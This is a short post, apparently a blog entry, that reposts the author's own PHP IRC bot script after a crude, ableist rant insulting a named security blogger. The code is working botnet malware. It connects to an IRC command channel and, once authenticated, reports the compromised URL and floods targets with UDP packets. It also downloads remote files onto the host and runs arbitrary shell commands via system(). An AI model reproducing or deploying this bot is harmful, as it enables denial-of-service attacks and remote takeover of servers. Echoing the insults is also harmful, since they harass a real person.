i smash stacks?

I made this a long time ago when I was just getting into PHP and recently found it on mcgrewsecurity.com. Now I’ve never had any problems with mcgrew and have talked to him on a few occasions but I’ve recently found out what a giant piece of shit he is. Really all he does is run around on the web playing favorites and picks on retards to make himself look like a seasoned security professional. Anyway here’s the code

<?
error_reporting(0);
set_time_limit(0);
// EDIT THIS
$chan = "";
$server = "";
$port = 6667;
$nickform = 'TestBot-%d';
$pass = ''; //md5
$hostauth = '10.0.0.1'; //ip or hostmask
// STOP EDITTING NOW.
$logged_in = 0;
$rand = "";
for ($i = 0; $i < 8; $i++)
{
	$rand .= mt_rand( 0, 9 );
}
$nick = sprintf($nickform, $rand);
$socket = fsockopen("$server", $port);
fputs($socket,"USER $nick $nick $nick $nick :$nick\n");
fputs($socket,"NICK $nick\n");
fputs($socket,"JOIN ".$chan."\n");
while(1) {
	while($data = fgets($socket)) {
        	echo nl2br($data);
//	        flush();
        	$ex = explode(' ', $data);
		$rawcmd = explode(':', $ex[3]);
		$oneword = explode('<br>', $rawcmd);
	        $channel = $ex[2];
		$nicka = explode('@', $ex[0]);
		$nickb = explode('!', $nicka[0]);
		$nickc = explode(':', $nickb[0]);
 		//header("Content-type: text/plain");
		$host = $nicka[1];
		$authnick = $ex[0];
		//$nick = $nickc[1];
	        if($ex[0] == "PING"){
        		fputs($socket, "PONG ".$ex[1]."\n");
	        }

		$args = NULL; for ($i = 4; $i < count($ex); $i++) { $args .= $ex[$i] . ' '; }

		if (preg_match("/!auth/", $rawcmd[1]) && preg_match("/$hostauth/", $authnick)) {
		$attempt = trim($ex[4]);
		if (md5($attempt) === $pass) { $logged_in = 1; $authnick = $ex[0];
			fputs($socket, "PRIVMSG ".$channel." Logged In \n"); }
	        else {fputs($socket, "PRIVMSG ".$channel." Failed login attempt! ".md5($attempt)." \n"); }
		}

		elseif (preg_match("/!vuln/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick)){
			$server_name = $_SERVER['SERVER_NAME'];
			$req_uri = $_SERVER['REQUEST_URI'];
			$vuln = "http://".$server_name.$req_uri;
			fputs($socket, "PRIVMSG ".$channel." vuln url ".$vuln." \n");
		}
		elseif (preg_match("/!pwn/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick))
		{	$time = trim($ex[6]);
			$target = trim($ex[4]);
			$pkts = trim($ex[5]);
			fputs($socket, "PRIVMSG ".$channel." hitting ".$target." with $pkts pkts for $time seconds \n");
			$packt = "";
			for($i=0;$i<$pkts;$i++) { $packt .= chr(mt_rand(1,256)); }
			$timei = time();
			$a = 0;
			while(time()-$timei < $time)
			{
				$fp=fsockopen("udp://".$target,mt_rand(1,256),$e,$s,5);
				fwrite($fp,$packt);
				fclose($fp);
				$a++;
			}
			$evv = $a * $pkts;
			$evv = $evv / 1048576;
			$vel = $evv / $time;
			$vel = round($vel);
			$evv = round($evv);
			fputs($socket, "PRIVMSG ".$channel." hit ".$target." with ".$evv."MB at ".$vel."MB/s \n");
		}

		elseif (preg_match("/!down/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick))
		{	$rfile = trim($ex[4]);
			$lfile = trim($ex[5]);
			if (!$fp = fopen($lfile, "w"))
			{
				fputs($socket, "PRIVMSG ".$channel." Permission Denied\n");
			}
			else {
			if(!$get = file($rfile))
			{
				fputs($socket, "PRIVMSG ".$channel." Download Failed \n");
			}
			else {
				for($i=0;$i <= count($get); $i++)
				{
					fwrite($fp, $get[$i]);
				}

				fputs($socket, "PRIVMSG ".$channel." Download Succeeded \n");
				fclose($fp);
			      }
			      }
		}	

		elseif (preg_match("/!exec/", $rawcmd[1]) && $logged_in == '1' && preg_match("/$hostauth/", $authnick))
		{
			$cmd = trim($ex[4]." ".$ex[5]." ".$ex[6]." ".$ex[7]." ".$ex[8]);
			if(!$resp = system($cmd))
			{
				fputs($socket, "PRIVMSG ".$channel." Exec Failed \n");
			}
			else
			{	

					fputs($socket, "PRIVMSG ".$channel." Exec Succeeded \n");

			}
		}

		elseif ($rawcmd[1] == "!gtfo" && $logged_in == '1' && preg_match("/$hostauth/", $authnick)) {
			fclose($socket);
			exit( );
		}
	}
}